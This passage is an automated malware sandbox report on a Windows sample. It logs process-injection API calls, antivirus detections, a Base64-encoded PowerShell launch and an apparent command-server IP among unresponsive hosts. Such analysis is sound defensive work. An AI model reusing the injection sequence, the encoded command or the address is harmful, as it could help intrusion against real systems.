NtSetContextThread March 11, 2023, 10:28 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4679120 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004a8 process_identifier: 2688	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1440 resumed a thread in remote process 2688
NtResumeThread March 11, 2023, 10:28 a.m.	thread_handle: 0x000004a8 suspend_count: 1 process_identifier: 2688	1	0	0

File has been identified by 20 AntiVirus engines on VirusTotal as malicious (20 events)

Elastic	malicious (high confidence)
Sangfor	Trojan.Win32.Agent.V3ns
CrowdStrike	win/malicious_confidence_60% (D)
VirIT	Trojan.Win32.MSIL_Heur.A
Symantec	MSIL.Downloader!gen7
ESET-NOD32	a variant of MSIL/GenKryptik.GHGN
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	FileRepMalware [Misc]
Rising	Trojan.Kryptik!8.8 (CLOUD)
McAfee-GW-Edition	Artemis!Trojan
Webroot	W32.Trojan.Gen
ZoneAlarm	UDS:DangerousObject.Multi.Generic
McAfee	Artemis!D9E77C8CA14E
VBA32	Downloader.MSIL.gen.rexp
TrendMicro-HouseCall	TROJ_GEN.R002H0DCA23
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/Agent.LYU!tr
AVG	FileRepMalware [Misc]

Executed a process and injected code into it, probably while unpacking (19 events)

Time & API	Arguments	Status	Return
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1440	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1440	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 1440	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x00000348 suspend_count: 1 process_identifier: 1440	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x000003a0 suspend_count: 1 process_identifier: 1440	1	0
CreateProcessInternalW March 11, 2023, 10:27 a.m.	thread_identifier: 2156 thread_handle: 0x000004b4 process_identifier: 2152 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA== filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004bc	1	1
CreateProcessInternalW March 11, 2023, 10:28 a.m.	thread_identifier: 2692 thread_handle: 0x000004a8 process_identifier: 2688 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\p-Qfdyajl.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000218	1	1
NtGetContextThread March 11, 2023, 10:28 a.m.	thread_handle: 0x000004a8	1	0
NtAllocateVirtualMemory March 11, 2023, 10:28 a.m.	process_identifier: 2688 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000218	1	0
WriteProcessMemory March 11, 2023, 10:28 a.m.	buffer: base_address: 0x00400000 process_identifier: 2688 process_handle: 0x00000218	1	1
WriteProcessMemory March 11, 2023, 10:28 a.m.	buffer: base_address: 0x00447000 process_identifier: 2688 process_handle: 0x00000218	1	1
WriteProcessMemory March 11, 2023, 10:28 a.m.	buffer: base_address: 0x00477000 process_identifier: 2688 process_handle: 0x00000218	1	1
WriteProcessMemory March 11, 2023, 10:28 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2688 process_handle: 0x00000218	1	1
NtSetContextThread March 11, 2023, 10:28 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4679120 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004a8 process_identifier: 2688	1	0
NtResumeThread March 11, 2023, 10:28 a.m.	thread_handle: 0x000004a8 suspend_count: 1 process_identifier: 2688	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2152	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2152	1	0
NtResumeThread March 11, 2023, 10:27 a.m.	thread_handle: 0x00000448 suspend_count: 1 process_identifier: 2152	1	0
NtResumeThread March 11, 2023, 10:28 a.m.	thread_handle: 0x00000490 suspend_count: 1 process_identifier: 2152	1	0

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (34 events)

dead_host	192.168.56.103:49193
dead_host	192.168.56.103:49181
dead_host	192.168.56.103:49190
dead_host	192.168.56.103:49177
dead_host	192.168.56.103:49186
dead_host	192.168.56.103:49174
dead_host	80.66.75.36:53777
dead_host	192.168.56.103:49198
dead_host	192.168.56.103:49170
dead_host	192.168.56.103:49191
dead_host	192.168.56.103:49194
dead_host	192.168.56.103:49182
dead_host	192.168.56.103:49187
dead_host	192.168.56.103:49175
dead_host	192.168.56.103:49178
dead_host	192.168.56.103:49199
dead_host	192.168.56.103:49171
dead_host	192.168.56.103:49188
dead_host	192.168.56.103:49195
dead_host	192.168.56.103:49183
dead_host	192.168.56.103:49184
dead_host	192.168.56.103:49172
dead_host	192.168.56.103:49179
dead_host	192.168.56.103:49196
dead_host	192.168.56.103:49168
dead_host	192.168.56.103:49189
dead_host	192.168.56.103:49192
dead_host	192.168.56.103:49180
dead_host	192.168.56.103:49185
dead_host	192.168.56.103:49173
dead_host	192.168.56.103:49176
dead_host	192.168.56.103:49197
dead_host	192.168.56.103:49169
dead_host	192.168.56.103:49200

p-Qfdyajl.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All